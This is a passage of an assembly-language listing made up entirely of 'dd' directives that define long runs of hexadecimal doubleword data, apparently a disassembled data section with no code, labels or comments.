		dd 2C00C432h, 718E52BEh, 3A6FBF60h, 0E10015FAh,	0B1DF7F40h
		dd 7600DAFFh, 1AA4433Ah, 845CEFh, 28BE6F3Bh, 5494CBAh
		dd 80468B3Bh, 0B677C9E7h, 19B2D6h, 21E6DB25h, 2C27D72Dh
		dd 0FDAEC807h, 0E8474367h, 0D239660h, 5D8E00EEh, 79F260BAh
		dd 68011D93h, 0AAF844F5h, 61E0CBA7h, 0D56E00BFh, 7329E3FFh
		dd 980089EAh, 7637EF8h,	4D7DEDh, 0B33D6E71h, 0ECC5D570h
		dd 0CE551300h, 0AF8B31F7h, 20090ACh, 0C90D896Eh, 0A660B6DAh
		dd 523A4891h, 457E82FAh, 0E233CF22h, 0E03880FFh, 53EFE44h
		dd 0FD2A39FCh, 1F40558h, 7758400Ah, 0A99F4087h,	92B60501h
		dd 23399136h, 0E2E8470h, 4F17E5C5h, 0ED504560h,	2A02C47Ah
		dd 1556E908h, 67284029h, 5E540023h, 4FD47E3Bh, 8F1DDB4Ch
		dd 0EB475747h, 73208617h, 0A0CC9E83h, 0BD98E0h,	548F9D7Eh
		dd 92F32123h, 754AD501h, 0F6C949B1h, 83072981h,	0F0DD9E89h
		dd 810F653Eh, 0C0644616h, 298B7DC9h, 0E0681E67h, 9E380BEh
		dd 0BF8150D5h, 0C2108F12h, 17EE2C40h, 0A74904h,	81ED339Ch
		dd 2426B5B3h, 485F371Fh, 93424500h, 2460FE0Ch, 140D959h
		dd 36B5978Fh, 0B402EC7Dh, 0F228C6F8h, 0C100C8EDh, 5A0B46CAh
		dd 3FFC997Ch, 0D8585203h, 0C596F001h, 80B1F872h, 0EA8693C0h
		dd 2A9433h, 0A09E2BCh, 43A747EBh, 906D2924h, 0AF8E8D0Fh
		dd 0E0350A23h, 152C7101h, 10065C7h, 7B00F457h, 1CC885BDh
		dd 2499C206h, 80D85BF2h, 0B60C94BBh, 8800CAF1h,	45E66616h
		dd 5C09302h, 945FFE65h,	87A10018h, 1A75AAADh, 0BD088602h
		dd 0C12857BAh, 0C9EC0DBFh, 76D00032h, 8D601289h, 5C0046C5h
		dd 6FB67245h, 0D225E8h,	0CF481B1Ch, 81B23384h, 79536C00h
		dd 12319AD4h, 0B4FE0078h, 41ECC194h, 0A700C4C9h, 0FDFF6A5h
		dd 1442977h, 721FB053h,	0C01A0AB8h, 8C00E567h, 0F027555Fh
		dd 95AFC7h, 4B2571FAh, 57FBD12Ah, 0B10085B0h, 16FFD679h
		dd 8DD50Eh, 8B81B7E6h, 98B47758h, 99DE5A00h, 0E829669h
		dd 0F223D91h, 50604200h, 5FDDCF4Bh, 0A8447A05h,	9C40A51Fh
		dd 0B0AAC516h, 0EF68003Ah, 2102E39h, 7638247Eh,	9B2D00E1h
		dd 0A8DA9A7h, 68403CEDh, 0A1E38887h, 459D20E5h,	30EFD913h
		dd 1E15FD54h, 84DA1Ch, 260DD2DDh, 0EE55CAh, 7DD7DFBAh
		dd 0AC3441A4h, 0A9E23Ah, 0B8053AA7h, 0A344AEh, 71EA8F3Fh
		dd 2E63FE72h, 418C3100h, 0E72D1CDEh, 5ADC0E1Ah,	0AD20ED5Eh
		dd 0D6367EA0h, 0C7BF8002h, 0C0CF47A1h, 1445C58h, 419B0B2Ah
		dd 0E4D414A0h, 330076B1h, 593FA19Dh, 154692h, 0F15D94B8h
		dd 3BCB1002h, 48F66639h, 7CF20044h, 0B81CD041h,	987707D8h
		dd 70DCD26Bh, 3EE1ECAAh, 96C42800h, 72A4DBEDh, 92533867h
		dd 10E60900h, 0F6D4E44Ch, 81C93100h, 0E3EA84AAh, 927C7E3Dh
		dd 42510074h, 0D518656Ah, 40079F31h, 4E8A4C19h,	0BD259140h
		dd 0F2D91226h, 0D57C0168h, 0F9E9758Ch, 0D810875Bh, 5ED0ED81h
		dd 0E3E4F88h, 9B4CA074h, 0E144B4E6h, 0A4F62800h, 7106484Dh
		dd 0D0CC12B3h, 0BD9C00A1h, 0D9BB167Ch, 6B008090h, 0F2ECC0D6h
		dd 0A2D445h, 0D7C6EFAFh, 0CE95048Bh, 41762600h,	1DA398CBh
		dd 1A1FC3Bh, 18BA3C4Fh,	0C859D852h, 0E90094C5h,	846A068Ah
		dd 1D190B1Eh, 0C2ABE458h, 0BE72962Eh, 0E44DFDE1h, 0C816BA07h
		dd 8C00B4B0h, 131EE192h, 4E580098h, 2F2A03A7h, 1C00F639h
		dd 0AC4190F2h, 0FAFDA5h, 0E273440h, 8F9EC21Fh, 6E4DDCB0h
		dd 178C1E58h, 0D4008992h, 0BA9D04AEh, 79BC0076h, 398054Ah
		dd 0DE160D6Eh, 9E033F02h, 0E8ABC963h, 2EAAF12Dh, 9F944694h
		dd 0DDEA8081h, 6183F5E7h, 2044D801h, 87623E91h,	0F3008472h
		dd 594D8A45h, 2E074BC8h, 7380503Ah, 0C09C9663h,	1061B81h
		dd 0B81832B4h, 0C4E24C6Bh, 0C100F6A6h, 0FA543E4Ah, 2AB0658h
		dd 0E9691AE3h, 2AE0D5CCh, 6EC09649h, 268B7B18h,	0D7F7005Eh
		dd 8EDD455Fh, 0B80097F0h, 553F890Bh, 0CA4828h, 65D3D87Eh
		dd 0AEF2DAE1h, 7CF35618h, 1091039h, 5B3D8713h, 8BFE8Dh
		dd 58E0C97h, 56ED60Eh, 0BE9AC186h, 0A541F4A4h, 215C0105h
		dd 1890FACDh, 13B3CB2h,	0CC92D227h, 606094A3h, 0B402C7B8h
		dd 9BE6AA6Ah, 2E69E148h, 0E61FAD70h, 43860A3Eh,	989227h
		dd 8C48F0FBh, 0E8005E79h, 9BE0EACh, 3B884CC1h, 34A4133Ah
		dd 0C3FE0358h, 79009E6Eh
		dd 0C1DA2F3Bh, 30DC5AEDh, 1B19EBA0h, 847415FCh,	97B11F14h
		dd 0E7130C18h, 0BB44935h, 88942EFCh, 0FA9DAE80h, 3E0071C1h
		dd 0B9911C6h, 0A281B0h,	1ABBC0A3h, 2EECE8C8h, 544D7371h
		dd 62A10688h, 5703F94h,	9DD8145Ch, 0C754005Ah, 0DE851988h
		dd 9604EE00h, 0FA3DAD30h, 4972DCh, 0F9A2B2C6h, 2BC2799Ch
		dd 0F5035900h, 0DB5D5B2Ch, 31FD2053h, 387D7128h, 8EE9DE6Fh
		dd 0DBD8828Eh, 0F914805Dh, 794BD148h, 0F62E00C2h, 0F5BC20A1h
		dd 1E01D563h, 260F5670h, 14D8B6EDh, 30D80091h, 4C114194h
		dd 0DCE1E316h, 0C2E2AF53h, 0AEC02A00h, 6F29A3E2h, 62021D6Ch
		dd 495E45h, 154AC63Dh, 0D500A95Dh, 0EBD4347Ch, 2797FDh
		dd 0F5789C8h, 152B488Bh, 0DB6F6E01h, 265C0372h,	3BC7D5D4h
		dd 77001892h, 0E1491D9h, 0B5F4DE60h, 7F6C2B00h,	514933C1h
		dd 8F3C000Fh, 0A968919Ah, 0FC00890Ah, 4742D281h, 0EA225Bh
		dd 3EBD4065h, 6825F814h, 0FFF1D400h, 0C67E8169h, 80DB0034h
		dd 0E4D62DCDh, 0D20039C8h, 51FED489h, 1D217BCEh, 45B02Ah
		dd 3B413426h, 4A1FFAACh, 3BEB3FEh, 8855DFC4h, 7E47F065h
		dd 0CC780094h, 9A803729h, 17E29F9Dh, 2781AA00h,	7C414FC9h
		dd 8DB00C5h, 7A5B9FAh, 8503A0F3h, 0E50293A6h, 33E4F8C6h
		dd 95BF00F0h, 3BAB1997h, 3F6026B6h, 47090F49h, 500D00DBh
		dd 1161C49Bh, 1F75C820h, 0F6CE2400h, 0B93B664h,	0F8B83A53h
		dd 6811AD80h, 0AB318405h, 62675C00h, 0CF2389E9h, 29980072h
		dd 9F755DDAh, 3F00CCBFh, 7438A670h, 781E6545h, 8DF210h
		dd 0D7AC29C7h, 570A0F87h, 3120C300h, 0F546E513h, 0C062FAE7h
		dd 2821AFA0h, 4200161Ch, 579B5C31h, 0F6FE22h, 0E0938869h
		dd 4DDBA392h, 4F05747Fh, 2E25F491h, 0A76F9C43h,	0F38AEBDh
		dd 887037C9h, 0E0A49400h, 68602FFCh, 86FD4B30h,	0B20500F0h
		dd 5E4C57B3h, 0A80ECD78h, 7C2B1790h, 75013A00h,	0F4AD3Bh
		dd 2078BB8Eh, 25848626h, 7233Ch, 3D9A7E8h, 3E778C94h, 145C7463h
		dd 83A13900h, 790881AEh, 0E3AF600h, 456997E3h, 0B60700FCh
		dd 0E8B9C6D5h, 0CA03BCEEh, 9DCD6DDDh, 0E33C9847h, 0EA6607B5h
		dd 4FBD8E57h, 9A40D8CFh, 0BBC4B70Ch, 24182D00h,	29F7CC5Bh
		dd 6122003Fh, 58C1A96Fh, 3B00BEBAh, 64B1E613h, 5063360Ah
		dd 5AB74Dh, 0B7949B43h,	0D4C3F5D6h, 31B1F81Eh, 1F3DD49h
		dd 0C62E616Ch, 27A8F0h,	0C041F72Dh, 50214A3Fh, 679AEB00h
		dd 7CAE817Fh, 14E807FEh, 0F4444E0Bh, 5A2C932Dh,	942B3FE8h
		dd 4C39BC24h, 4C20D904h, 0ECB6A280h, 74C000CAh,	0C3B21A04h
		dd 140061CFh, 0A17703BDh, 3DD1D2B9h, 0E854F962h, 35B0A001h
		dd 591F0323h, 0F1E2F583h, 925598E8h, 42710700h,	252E46AEh
		dd 0D5D90A8Ch, 0AD82939h, 16ACEFE5h, 3D6400B0h,	34577D69h
		dd 0AA8BC200h, 0D4B8DD12h, 86A51C19h, 0EECD0064h, 1CBA81A9h
		dd 2E94D504h, 2080A4E6h, 2715D37h, 5635F9ECh, 76427B2Bh
		dd 7F3814A0h, 8B00C17Dh, 0B1239B97h, 5BF386A6h,	8E81A16Dh
		dd 20C61811h, 0B2C596DCh, 0B4E00ABDh, 0B8F572h,	36797091h
		dd 0FA0FA627h, 0C21D9BAEh, 817E5B53h, 0B2A73CA8h, 2778E4h
		dd 0F3DB522Ch, 4D227907h, 75B13000h, 0FDD49EF2h, 806303EAh
		dd 1A2C4015h, 180CD87Eh, 0C8DC6181h, 56A803A2h,	0DF7E7BCCh
		dd 5B2B70D8h, 0E9DE2700h, 81576A14h, 0FA2C986Bh, 3D1B0138h
		dd 0EE8D9D8Eh, 0DB59208Bh, 0D0B66500h, 415D4302h, 1C3A2880h
		dd 86A40098h, 0B8558824h, 0A7388EDFh, 15EE03DAh, 0E0BAEAE9h
		dd 186D2AF8h, 0AC45BF69h, 500C573h, 0E4CEF5BEh,	0DF7BF4h
		dd 1663DE28h, 0A0390B03h, 0F2180900h, 91F7E7C1h, 0C250760h
		dd 60756BB4h, 780E3219h, 0CD743900h, 0E9080A6Ah, 0C9AE28E8h
		dd 0B7AC8095h, 92C8601Ch, 0E3EDB0F3h, 2A03337Bh, 939BB175h
		dd 8A6FB83Eh, 0D0DF603Ah, 0F76AE0E3h, 7C9F6E00h, 0D59BF404h
		dd 84781EA5h, 0E6CF80C4h, 3F85BF99h, 44E44B7Fh,	0FACA0400h
		dd 8FB38CADh, 69AC00ECh, 26105868h, 0A4789CB9h,	0F031FF6h
		dd 0E00184A8h, 71AEFBh,	46449173h, 65186795h, 0D93FB909h
		dd 78C4204Eh, 8F2B3Ah, 24EA4A13h, 3D0CAC91h, 218883Eh
		dd 0BC5FF561h, 0C5F4839Ch, 0C101069h, 0B5AB00A4h, 0A4719FEh
		dd 0A2BC0673h, 911BB48Bh, 0B9829901h, 9D0FCD8Ah, 4B1309Fh
		dd 0D34DD40Ch, 785038Ch, 90EC65E8h, 138EA707h, 2550B000h
		dd 0B8FA2756h, 961500C8h, 63E8E147h, 0E200BA11h, 81D92259h
		dd 0EEF3D7C2h, 0F6E74877h, 0BDA80B24h, 415C11h,	0CDA892F8h
		dd 9870FFh, 0E52B331Bh,	602FC18Bh, 0ED14CFE8h, 2D4581Dh
		dd 26757CFCh, 0D6C7004Dh, 0A11F0145h, 0A3413730h, 645EBE10h
		dd 29B9830h, 2F995A26h,	6DC00CEFh, 0BA3FF68Fh, 19F8067h
		dd 69154E87h, 3250008Bh, 0EC36D561h, 471D1099h,	8AC07C20h
		dd 0E52D95CCh, 9B520E80h, 0C30F5C1Eh, 68E02A7Ch, 0E01881h
		dd 0EFFE71Ah, 0F93B092Dh, 45F31466h, 370077E4h,	0D56D2653h
		dd 0EE4830h, 8E430D64h,	29A01E86h, 0E4EC7B00h, 56A7C96Dh
		dd 3E09F66Fh, 2F054BB5h, 0EBE90Dh, 27F1889Fh, 23007284h
		dd 1BBC063Bh, 46B8FADh,	9A166685h, 1F68806Fh, 4D0413F1h
		dd 176884D1h, 41003885h, 36FC55Eh, 0FED003Dh, 59E9C7D8h
		dd 0E500EA2Fh, 60FA831Dh, 0A9ECACh, 0C8FB4941h,	0F2DA3029h
		dd 59274F00h, 790C1582h, 74C07B7h, 0A06DB267h, 5C3A6CAEh
		dd 1F76881Dh, 8DDF5A40h, 3E432CBAh, 0EE93A6D2h,	243801A0h
		dd 4077C4D4h, 0C207BCF0h, 0D26F6D07h, 3AB00B3Dh, 73F59627h
		dd 0E70D2EB7h, 0FD52005Fh, 95595B8Eh, 0C479CB00h, 0A9114F89h
		dd 38162482h, 0C7918190h, 0C879BEEAh, 49FA6D2Bh, 0A50C8C26h
		dd 0D921EF00h, 0D5C483h, 29285D1Fh, 9503DA42h, 617CDE0Eh
		dd 40FC00B7h, 0E49F58h,	2413A9A7h, 0B41247AFh, 0E842249h
		dd 988D3FA6h, 0EDF1C70h, 0C72BFB81h, 9882E28Eh,	108093A7h
		dd 0D1228010h, 0F9D84607h, 0F247A6DEh, 0E3756F40h, 1868B263h
		dd 0C1F887E7h, 0F30E8A77h, 81925BF6h, 678D660Ah, 0F8B25DF0h
		dd 63A70FD8h, 7700AB69h, 8CD60AEEh, 0F38221C0h,	7581F711h
		dd 4A710C53h, 0E8A02A64h, 0A8DB5C06h, 28D02D54h, 30388E48h
		dd 0ACD921F9h, 107C2D64h, 0A10D28C0h, 0FE7D8DA4h, 289056h
		dd 39D6702Ch, 0B99051ACh, 40482500h, 2123BABEh,	0AAF0011h
		dd 545368D5h, 26000F7Fh, 5EFCF3EEh, 1A208h, 24F727BBh
		dd 0F5AB25DBh, 70CBC100h, 0F22205FDh, 0B0BD036Ch, 6A74D0B3h
		dd 5B034390h, 5DBA2604h, 8BC03614h, 3D5C9901h, 2B8020B2h
		dd 0C41E22DAh, 0D9E0F675h, 0FF286E05h, 0D0C0782Fh, 0FB27666h
		dd 0FB198C57h, 1A219C00h, 5B0093F1h, 0BF4BD24Ch, 0E3E506h
		dd 0A6E7591Ch, 0BE195417h, 0D71C27ECh, 8047C4EAh, 400B469h
		dd 0BF2223h, 4307C5D2h,	1CAE6026h, 4DF6630Ah, 0FEBAE45Ch
		dd 0FA1D8113h, 9A02F807h, 20281B60h, 30892A9h, 562A894Fh
		dd 0C2B80870h, 33006993h, 0FBF69C58h, 31602BEDh, 4E105E27h
		dd 0AB59806Bh, 5670319Ah, 951ECE34h, 38813E29h,	0EF0378DCh
		dd 18A53010h, 0E406FC48h, 41514FA3h, 0D4EFE100h, 0B585561Ch
		dd 0D0EF6C7h, 0AB5095A8h, 265A2099h, 0A48AE224h, 0A4FBD441h
		dd 0FD25BDCh, 62758D04h, 21CC8EC6h, 0A4F43600h,	2F556CD4h
		dd 1CDE1E21h, 0EB4946A6h, 0A80B9006h, 89E897C3h, 0BF318350h
		dd 0FC180C3Bh
		dd 0CB795D3Eh, 9519CE07h, 0D5502F91h, 21440Dh, 539CEF7Eh
		dd 0C7DD2C2Ah, 18F73D00h, 0FCDE9926h, 3BB8C3B8h, 57EB3CE6h
		dd 405E71D0h, 16C9A00h,	89972985h, 0E0F20764h, 0D018F32Ah
		dd 0B71CB3D0h, 50175D7Ch, 6E03EFAAh, 0AB8F7206h, 0D54ED826h
		dd 0A8F000FBh, 338A6D21h, 9D3AF22Fh, 94741E90h,	7FA0F181h
		dd 88F4FB12h, 8EB6F2Ah,	0F8B8213Bh, 110323A0h, 0B546FA0Ah
		dd 8D180E22h, 0E343B215h, 0FDE81AA3h, 0E507F6BCh, 0F945254Eh
		dd 8ACF740h, 6CBA1EEDh,	73FC468Ah, 0FF218094h, 0A0F2809Ch
		dd 30C31280h, 0CE824486h, 0F3A0F901h, 0EFF1BDD9h, 8429E0F2h
		dd 6DAB00F7h, 657A0E49h, 31C78F89h, 0D741C18Dh,	11BE30B4h
		dd 0C6455680h, 90E828A5h, 850AE31h, 20806385h, 0BD45FEEAh
		dd 1D006C8Fh, 0B1D54B84h, 0C7671A8Bh, 3159B5B2h, 9E61479Bh
		dd 7E802F30h, 0D9FAF150h, 0E2AB1970h, 804908C9h, 4FD62221h
		dd 0A0C409h, 8827C792h,	404B3A8Ch, 46DA28A0h, 4FDB0486h
		dd 62B1FAF6h, 0D323204Ah, 430F694Fh, 0A0AE7AEDh, 5458172Ah
		dd 4974031Dh, 23B4B087h, 2600F17Ah, 99C34E1Ah, 7141C4Ah
		dd 0AE6D04A3h, 265D0A2h, 4D968142h, 0C5FE6102h,	0A8A08049h
		dd 1DA18EB4h, 80E9BB14h, 9F3D285Ch, 19000687h, 955B7160h
		dd 4C6C3085h, 5500D3E3h, 58168C02h, 8600D132h, 358D88F4h
		dd 640B9DA8h, 0C1CCA0C0h, 0E8E0C791h, 0DA1FF7F5h, 0D941FDAAh
		dd 0E2C3E56Bh, 77B91E8h, 333F592Ah, 0F04F473Ah,	1040C94Eh
		dd 35798900h, 7C6964BEh, 93D70EECh, 0F043A4F7h,	60CFA552h
		dd 9E7A4375h, 489CAE1Fh, 0AA1A9507h, 3E91664Fh,	0E41B1D38h
		dd 34C2E66h, 741122C8h,	0D71F72C0h, 0FE75148h, 0A08CDB85h
		dd 0A8795C0Fh, 0AB583A48h, 0BA82E987h, 0EF02C07Ch, 0C006C50h
		dd 326724A1h, 5AB8FEh, 47138E1Dh, 0E86A5B52h, 0C6FBAA00h
		dd 7157F593h, 84DE01E5h, 0D4819B24h, 0A2C89CEFh, 0B88E6500h
		dd 385EB2DBh, 3BB9C8D3h, 0D6628C87h, 0B868467Ch, 0E3FFEE00h
		dd 6761EFD9h, 84BF5535h, 0AC36D4h, 156BA7AAh, 8A81B63Eh
		dd 0D1633200h, 9259CF65h, 0ADE00F47h, 79188861h, 0F018957h
		dd 0F3AB2C01h, 54D8471Fh, 0DAD3003Bh, 0D8CE3EC2h, 9A73F072h
		dd 9B506E71h, 0E288FC9Ch, 18012009h, 0A1C1B575h, 25734A9Dh
		dd 0F36DF4DCh, 28F1F0h,	0E8DE380Ah, 0ED518229h,	346F1600h
		dd 6DEA5736h, 0D1CE009Bh, 0F2982DF0h, 30E0BC8Dh, 8800A4B8h
		dd 0CAC8A8A2h, 1F0F2B56h, 80899AA5h, 96878690h,	84038B36h
		dd 98273B6Dh, 9D92D079h, 38E00C5Ch, 1B60620Dh, 665B7A00h
		dd 63FD4013h, 0A6353D1Dh, 0FE9F1F00h, 9C010324h, 27015178h
		dd 17BEE755h, 0CC873FD9h, 10D87437h, 0F8E1E82Fh, 0D153B500h
		dd 487061B2h, 6F92031Bh, 384D03CEh, 8C568B88h, 9E00A1F6h
		dd 0BA3C6337h, 31AEDFCh, 897A6092h, 0F888C377h,	2100E457h
		dd 201B315h, 1C1E3764h,	0C3B517EBh, 0C6E56A1Fh,	8E5433D0h
		dd 0DC03C506h, 771E3F83h, 0CCCA009Eh, 62777155h, 0A1002B07h
		dd 7DA22659h, 3AFCBBEBh, 763106h, 47FBC40Ch, 0A837A4ADh
		dd 596B4A09h, 622F008Ah, 0C6909h, 0AEFABFF8h, 0F5283FADh
		dd 935638h, 1B72B8C0h, 14DF290Bh, 0DBE69845h, 34FC3D00h
		dd 0C895EC52h, 0B8F0500Eh, 5498803Bh, 9C92D1h, 4F038829h
		dd 0AECA8755h, 473F5C18h, 0D61D7Ah, 7144E5EDh, 891C179Bh
		dd 95963300h, 0B71930EEh, 4080282Eh, 0A17800F4h, 4D539B32h
		dd 88004602h, 0D7A91142h, 443F62h, 0B11A674Eh, 698C286h
		dd 0F5F66401h, 1FFEB92Eh, 3DF1E8h, 402C0F35h, 0D197CA32h
		dd 3900BEB8h, 18E89B84h, 0B0A07E9Dh, 5F072663h,	512B0A5Bh
		dd 0C8D0180h, 8010EEDBh, 292C6170h, 399A5A50h, 87036A8Fh
		dd 0CEB466E8h, 0E04195D1h, 5B07D5EBh, 2CB74E24h, 0E0DE4383h
		dd 58A484h, 74850DCBh, 19D0C14Bh, 28B39000h, 64132DC4h
		dd 5DC8002Eh, 5A2A9585h, 340A8DACh, 0B2F95439h,	0C3624F02h
		dd 682A6067h, 0A65B003Bh, 74A50964h, 1914B97Ch,	983F0Dh
		dd 7F36A141h, 490BC5Ah,	42874D1Ch, 735890D9h, 0FC00CFA0h
		dd 0EE33F961h, 0EEA72EDh, 0C52F9AF3h, 0BD642260h, 0B61D3B9Bh
		dd 99815AE3h, 0D42AEFFh, 74809CD3h, 0DC795Fh, 8906B3C6h
		dd 0BE484E34h, 7157C2Ch, 1E10B705h, 0E84FBC02h,	0CA08000Eh
		dd 3500D070h, 96577E31h, 0F6627B5Eh, 5349001Dh,	7A25A754h
		dd 8602470Fh, 111A697Ch, 3B06C08Bh, 5A7200AAh, 88D5FF01h
		dd 5F01CC43h, 1030246Ah, 0A8F8BFFBh, 72C0040h, 0E19DF11h
		dd 0A20086A7h, 21E3B115h, 34854Fh, 0A8390A73h, 0C909EA53h
		dd 51B4940Eh, 5A3BE09Ch, 2E651246h, 2025FFh, 240F9AA8h
		dd 0A4002218h, 6FC1B7B0h, 7C95EFBDh, 359F00E9h,	67ACF9CBh
		dd 98006BDBh, 4834DE14h, 0A752F1h, 28E45877h, 0C2F397CDh
		dd 71453507h, 3920C1B2h, 7C2105h, 1E63FFA3h, 0A007BC89h
		dd 3B45D512h, 80178A1Ch, 621F6A12h, 0E71EBA47h,	6C919AC0h
		dd 4BF90041h, 7A8D5119h, 1034630h, 87CB1058h, 0C967C377h
		dd 81E9B1F9h, 0FEF16CE4h, 0D9CD00A1h, 9C53A49Dh, 0B800471Bh
		dd 0FF9A5592h, 1F04DFCCh, 0C0BAE93Bh, 3338D283h, 6C2CDACEh
		dd 0A00FA15h, 84A84070h, 0E3F30995h, 27547CE8h,	0E1CD9E00h
		dd 0FBA94Dh, 2B50684Ch,	36B5DF0Dh, 8065F0CBh, 5FB0F855h
		dd 52E50006h, 0F6D6192Bh, 3207DE03h, 3597057Bh,	2A5A6BA1h
		dd 0C0CEC5CCh, 6C3F33F8h, 7F02AA80h, 9D28933Bh,	24B180B4h
		dd 15B27CF6h, 0A89F9258h, 0CC4D0F03h, 1803884Bh, 85B7675Ah
		dd 5999D0E7h, 0F7F246h,	1557B5C5h, 5614809Dh, 0C3767900h
		dd 1237D46Fh, 4F5E0C44h, 0AE82CD2h, 59BE711Dh, 32295A80h
		dd 0BA9469h, 9D23F42Bh,	817620B8h, 6F073492h, 2AA0D15Ch
		dd 45787E30h, 0C2580A5Dh, 2DEC0EFh, 5610BD52h, 0B3633440h
		dd 33EE8403h, 0E041986Eh, 541BAA4Fh, 0F4C32821h, 5255009Eh
		dd 0D0AC3AB0h, 8E03D497h, 22DE6247h, 0A8B8D3CAh, 7F0DEC58h
		dd 918400A7h, 8588C816h, 0A600B9D0h, 0EFE1CC17h, 18061DD5h
		dd 0D8398FF0h, 0E0A9F222h, 0A24CE893h, 2534BD0Eh, 0BE602442h
		dd 0C041A482h, 7229085h, 5C8FFF53h, 908684C5h, 0C2A6C44h
		dd 0F8A91700h, 1C9E96FAh, 0CB9700E2h, 9A10A8A3h, 2C000B02h
		dd 0CA1D112h, 6250E7h, 0CC1FA91Ah, 0D33FDD41h, 340FDE00h
		dd 3B5948BCh, 535D1C14h, 7D6A8084h, 0BAD16CC6h,	9F8D0C00h
		dd 0D3FE86A8h, 64590095h, 0F550FBD9h, 4E001469h, 1015DD1Fh
		dd 0B757B7Ah, 813C3FB8h, 0F4A160E0h, 0BD9F2103h, 0E77D8CDFh
		dd 0BF76841h, 922850E4h, 265700FCh, 21178CB2h, 0EF009FB0h
		dd 0FDCDC247h, 71373Ah,	827BDF2Ah, 502E5374h, 5839FB00h
		dd 0A16FF538h, 69BF02A6h, 3A2D0755h, 2E4FFA80h,	10383896h
		dd 0E14E002Ah, 0B50D60F1h, 8AB801DFh, 5377D320h, 8533D403h
		dd 28A2D81Eh, 0ECFC6680h, 0AB313Dh, 5740B46Dh, 3BA00619h
		dd 0D0E3F905h, 0A6C06595h, 0EE28D6ECh, 3CB700DAh, 1E69F49Ch
		dd 0B40E6E8Bh, 404B0A59h, 8DA47AC4h, 0CC2300DEh, 0D7BC35D1h
		dd 0D20014D9h, 0EE9F507Eh, 49033242h, 6E010C0Fh, 0BF8DEF44h
		dd 43F3D88Eh, 0CFCCEE00h, 3CE2785Ah, 25561479h,	3300480Ah
		dd 0F84B6697h, 6DFA37F4h, 0E1A8680h, 71F27ABBh,	0C0855145h
		dd 5AD89CF5h, 4AF7E8E9h, 34B0AC49h, 0C8905CC0h,	114BDF9h
		dd 159D5BECh, 0BC6C7FF0h
		dd 1C0D4018h, 4099D121h, 17B4F233h, 7F0067E1h, 0FD8F3A30h
		dd 26FE5AEh, 0A5B01D45h, 2C8E75C0h, 7D005F6Fh, 4D2F2BD8h
		dd 70123Ch, 0A1F45513h,	77E5BC9h, 3671CAB1h, 45F38215h
		dd 5A325087h, 7712585Ch, 377B038Eh, 4285FF11h, 1FF77EB0h
		dd 96C6103h, 0F8B5B720h, 524E006h, 51EEC00Ch, 0EFEB8069h
		dd 9014396h, 4D7E30F0h,	5994143Dh, 97E20484h, 202FDAC0h
		dd 7B513B1Fh, 0F64F5C00h, 0AB5748h, 0E4391879h,	1D49D9EBh
		dd 0EF41440Ch, 3840B3h,	0B63A1F23h, 98244052h, 17BFFF01h
		dd 621104BEh, 601AB820h, 0F6852019h, 42E4F805h,	810420A7h
		dd 3831BE32h, 9EDD2Bh, 18D0971Bh, 0B809C13Eh, 270F5F20h
		dd 5CFDE572h, 32F05CC0h, 6C04471Dh, 35D8C80Dh, 0E9A49A04h
		dd 6AC02885h, 120ABE54h, 4FCFB7h, 8F7B50D6h, 0C23A07A8h
		dd 98A9B385h, 4309CA53h, 65F0EF0Ch, 1DE7A5Ch, 7B673381h
		dd 8C4EBB61h, 201B4008h, 0DE920071h, 0C6709FF6h, 19C06823h
		dd 0C88DA033h, 45E10FB1h, 0BE7E4C62h, 1E1B3C1Ch, 3611C072h
		dd 0C64179F6h, 0DB6D9400h, 0C30264E5h, 6F29C09Ah, 0F87A7D9Fh
		dd 0F50101Ch, 4B0821D9h, 87592185h, 7216C37Dh, 5A8F1003h
		dd 0DA190EB7h, 0E7E1C0D7h, 9A7001C6h, 425DF527h, 652981F8h
		dd 7797B6ADh, 0B0051180h, 6ADA0E16h, 0C1C0A28h,	42BFF626h
		dd 45B27A00h, 3FB382Ch,	0D7F80E4Ah, 180066F3h, 3FDC19A1h
		dd 0C3A98E2h, 0CDD9A035h, 0A30E16F8h, 4CA23403h, 709E80Eh
		dd 8D350C4Ch, 0EB7B90BBh, 24034869h, 972C3C13h,	0C579007Eh
		dd 0F834CE03h, 9B702F08h, 0C8087066h, 0B400021h, 80FD71CEh
		dd 477C3A28h, 0B8A8D1EEh, 0A003FBC3h, 1C77454Ch, 0D8CE9764h
		dd 158A6A0h, 1B2120CAh,	4185801Ah, 8CC2D5F8h, 617C9738h
		dd 2ED61ECCh, 40E2FB65h, 0F6005A54h, 0AC3F6BDFh, 358E047Ch
		dd 62E4180h, 2496196h, 0F7D31569h, 0BCA0491Ch, 4837AC19h
		dd 8A8F200h, 2DCE558Ah,	3FD0145h, 7A8BF639h, 0F21850FFh
		dd 7CB03798h, 0CDEE5503h, 0B89FE582h, 0AB1F3h, 65298DBFh
		dd 0C6451AC7h, 3E102048h, 0C91C0039h, 8F4964C2h, 9865403Fh
		dd 0FC997661h, 3E31D575h, 6D86B8C3h, 0C5113034h, 478A941h
		dd 0AC584B0Fh, 779A02EAh, 0A3BAC006h, 1F0D657h,	0E53F11B2h
		dd 0DA981B0h, 0C783307Bh, 156BDCh, 0F638E1B6h, 0F4801BACh
		dd 52CA2F00h, 8F75B273h, 0F943010h, 283B3C38h, 6406BE03h
		dd 0CBB0C103h, 5108305Bh, 0BDFFFC21h, 4A7E012h,	21DF4804h
		dd 3010CC10h, 33850E48h, 0C0506AA8h, 1B20A900h,	75136F75h
		dd 2FC930B9h, 0FC732C29h, 0A48DFE2Ch, 304F7C0Dh, 0DA1B6980h
		dd 9A0D1FFBh, 123E8091h, 0B8218D49h, 19807D97h,	18EFF79Bh
		dd 200044CDh, 4B9AFFD1h, 295076DAh, 0B49745h, 0ABC4AE0Eh
		dd 0CE0052D7h, 7C2D948Eh, 30F7FE36h, 1BC89003h,	0FD31E142h
		dd 9D62711Ah, 3589AD10h, 804C9019h, 1032E4A8h, 0F33349F2h
		dd 0AEF5AF7Ch, 2BD7410h, 0D81C9657h, 9C6C4869h,	63CC1B97h
		dd 0A0101046h, 0FC8542B3h, 33D841A8h, 87CBE988h, 4FFBD890h
		dd 206980Ah, 716143C4h,	54741C10h, 971646h, 7DA31C88h
		dd 0C11EE218h, 0B215C2AEh, 0DFDD00B0h, 7A968C9Ch, 50510010h
		dd 5E9FD6BBh, 2B33D464h, 9962903Ch, 80574A7h, 34C08C20h
		dd 21641ABEh, 591C0E3h,	0BE0C5003h, 0E6F85713h,	0FF024910h
		dd 7BC4BB96h, 584C32h, 0EBE243F7h, 0ACB97799h, 3534BF0Eh
		dd 0DFF581B2h, 808079E3h, 0B49BD141h, 94B8C498h, 0BC72A0C7h
